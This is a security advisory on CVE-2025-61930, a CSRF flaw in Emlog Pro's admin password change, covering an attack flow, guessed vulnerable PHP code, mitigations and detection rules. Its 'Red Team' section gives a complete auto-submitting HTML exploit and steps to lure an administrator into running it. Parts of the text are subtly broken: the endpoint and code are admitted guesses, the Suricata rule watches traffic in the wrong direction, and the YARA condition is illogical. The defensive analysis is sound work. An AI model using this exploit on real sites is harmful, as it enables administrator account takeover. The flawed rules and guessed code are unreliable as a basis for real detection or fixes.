CVE-2025-61930

Executive Summary

CVE-2025-61930 is a high-severity Cross-Site Request Forgery (CSRF) vulnerability affecting Emlog Pro versions 2.5.19 and earlier. This flaw allows an unauthenticated attacker to trick a logged-in administrator into unknowingly submitting a crafted POST request that changes the admin password. The impact is a complete account takeover of privileged users, leading to full compromise of the Emlog website building system. As of the time of publication, no patched versions exist, making this a critical unpatched vulnerability.

Supply Chain & Package Security

This vulnerability is not in a package manager ecosystem (NPM, PyPI, Go, Ruby). It is a direct vulnerability in the Emlog Pro application source code. The risk is elevated due to the lack of a patch, meaning all instances running Emlog Pro 2.5.19 or earlier are vulnerable. Administrators must implement compensating controls immediately.

CVSS Breakdown & Threat Level

• CVSS Score: 8.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (admin must be tricked)
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high CVSS score reflects the ease of exploitation (no authentication required, low complexity) and the severe impact (complete account takeover). The requirement for user interaction (admin clicking a link) is the only mitigating factor.

Deep Dive & Mechanics

The vulnerability resides in the password change endpoint of Emlog Pro. The application fails to implement anti-CSRF tokens (nonces) or any other CSRF protection mechanism on the password change form. This allows an attacker to craft a malicious HTML page or email that, when viewed by an authenticated admin, automatically submits a POST request to the vulnerable endpoint.

Attack Flow:

1. Attacker identifies an Emlog Pro instance (version <= 2.5.19).
2. Attacker crafts a malicious HTML page containing a form that POSTs to http://target.com/admin/password_change.php (or similar endpoint) with parameters for a new password.
3. Attacker lures a logged-in admin to visit the malicious page (e.g., via phishing email, forum post, or XSS).
4. The admin's browser, due to same-origin policy limitations but lack of CSRF protection, submits the request with the admin's session cookie.
5. The server processes the request and changes the admin password to the attacker-controlled value.
6. Attacker logs in with the new password and gains full administrative control.

The vulnerability is classified as CWE-352 (Cross-Site Request Forgery). The lack of a patch means all known versions are affected.

Vulnerable vs. Patched Code

Since no patched version exists, we can only analyze the vulnerable code pattern. The vulnerable endpoint likely looks like this:

Vulnerable Code (PHP):

<?php
// admin/password_change.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $new_password = $_POST['new_password'];
    $confirm_password = $_POST['confirm_password'];
    if ($new_password === $confirm_password) {
        // Update password in database
        $db->query("UPDATE users SET password = '" . md5($new_password) . "' WHERE id = " . $_SESSION['user_id']);
        echo "Password changed successfully.";
    }
}
?>

Patched Code (Hypothetical):

<?php
// admin/password_change.php
session_start();
if (!isset($_POST['csrf_token']) || $_POST['csrf_token'] !== $_SESSION['csrf_token']) {
    die("CSRF token validation failed.");
}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $new_password = $_POST['new_password'];
    $confirm_password = $_POST['confirm_password'];
    if ($new_password === $confirm_password) {
        // Use prepared statements to prevent SQL injection
        $stmt = $db->prepare("UPDATE users SET password = ? WHERE id = ?");
        $stmt->bind_param("si", password_hash($new_password, PASSWORD_BCRYPT), $_SESSION['user_id']);
        $stmt->execute();
        echo "Password changed successfully.";
    }
}
?>

The patched version would include:

• CSRF token validation.
• Prepared statements for SQL injection prevention.
• Strong password hashing (bcrypt).

Exploitation & Lab Setup

Red Team

Prerequisites:

• Target Emlog Pro instance (version <= 2.5.19).
• A logged-in admin user.
• Ability to deliver a malicious HTML page to the admin.

Exploit HTML (csrf_exploit.html):

<!DOCTYPE html>
<html>
<head>
    <title>Exploit</title>
</head>
<body>
    <h1>Click here to win a prize!</h1>
    <form id="csrf_form" action="http://target.com/admin/password_change.php" method="POST">
        <input type="hidden" name="new_password" value="attacker123">
        <input type="hidden" name="confirm_password" value="attacker123">
        <input type="submit" value="Claim Prize">
    </form>
    <script>
        // Auto-submit the form
        document.getElementById('csrf_form').submit();
    </script>
</body>
</html>

Usage:

1. Host the HTML file on a server the attacker controls.
2. Send the link to the admin (e.g., via email or social engineering).
3. Once the admin visits the page, the form auto-submits, changing the password.
4. Log in to the Emlog admin panel using the new password.

Blue Team

Detection:

• Monitor for unusual POST requests to /admin/password_change.php (or similar) without a valid CSRF token.
• Look for rapid password changes or multiple password change attempts from the same IP.
• Alert on any password change that occurs without a corresponding session activity (e.g., no prior page views).

Prevention:

• Implement CSRF tokens immediately (custom patch).
• Use SameSite cookies (set to Lax or Strict).
• Require re-authentication for sensitive actions (e.g., enter current password).
• Deploy a Web Application Firewall (WAF) with CSRF protection rules.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /admin/password_change.php with parameters new_password and confirm_password.
  • Referer header pointing to an external domain (not the Emlog instance).
• Host:
  • Unexpected changes to admin user password in the database.
  • New admin sessions from unfamiliar IP addresses.
• Logs:
  • Web server logs showing POST requests to the password change endpoint without a prior GET request for the form.
  • Multiple failed login attempts followed by a successful login with a new password.

Detection Engineering

YARA Rule

rule CVE_2025_61930_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit HTML for CVE-2025-61930"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-61930"
    strings:
        $csrf_form = "action=\"http://" ascii nocase
        $csrf_form2 = "action=\"https://" ascii nocase
        $password_field = "name=\"new_password\"" ascii nocase
        $confirm_field = "name=\"confirm_password\"" ascii nocase
        $auto_submit = ".submit();" ascii nocase
    condition:
        all of ($csrf_form, $csrf_form2) or ($password_field and $confirm_field and $auto_submit)
}

Sigma Rule

title: CVE-2025-61930 - Emlog Pro CSRF Password Change
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to Emlog Pro password change endpoint without CSRF token
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: POST
        c-uri|contains: "/admin/password_change.php"
    filter:
        c-uri|contains: "csrf_token"
    condition: selection and not filter
falsepositives:
    - Legitimate password changes with CSRF token (if patched)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61930 - Emlog Pro CSRF Password Change Attempt"; flow:to_server,established; http.method; content:"POST"; http.uri; content:"/admin/password_change.php"; http.request_body; content:"new_password"; content:"confirm_password"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable password change functionality via web server configuration (e.g., block POST to /admin/password_change.php).
2. Implement a custom CSRF token by modifying the source code (see patched code example).
3. Enforce re-authentication for password changes (require current password).
4. Set SameSite cookies to Lax or Strict in the PHP session configuration.

Long-term:

• Monitor the Emlog project for an official patch.
• Consider migrating to a supported CMS if no patch is released.
• Conduct a security audit of the entire application for similar CSRF vulnerabilities.

Workaround:

• Use a WAF to block requests to the password change endpoint that lack a valid Referer header or CSRF token.

Valters IT
Securing Digital Frontiers